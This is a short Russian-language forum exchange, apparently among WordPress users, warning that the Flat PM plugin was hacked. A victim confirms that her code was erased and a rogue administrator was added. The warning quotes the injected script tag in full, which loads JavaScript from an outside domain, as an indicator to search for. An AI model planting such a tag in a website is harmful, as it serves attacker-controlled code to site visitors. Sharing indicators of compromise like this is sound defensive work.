Вчера на почту пришло извещение, что взломан плагин flat PM. Если он у вас установлен, срочно проверьте, не появился ли новый администратор. Рекомендуют обновить плагин до новой версии и проверьте сайт, убедиться, что не появилась строчка в коде: <script type='text/javascript' src='https://wpctrl.tk/ds.js'> </script> Код искать в Header и footer.
Да, я вчера пострадала( И код прописался, при этом мои коды все стерлись, и новый администратор зарегистрирован был. Но вроде вовремя все успела сделать. Удалила и то, и то, сделала бэкап, обновила плагин и поменяла пароль. Код искать нужно именно в Header и footer плагина.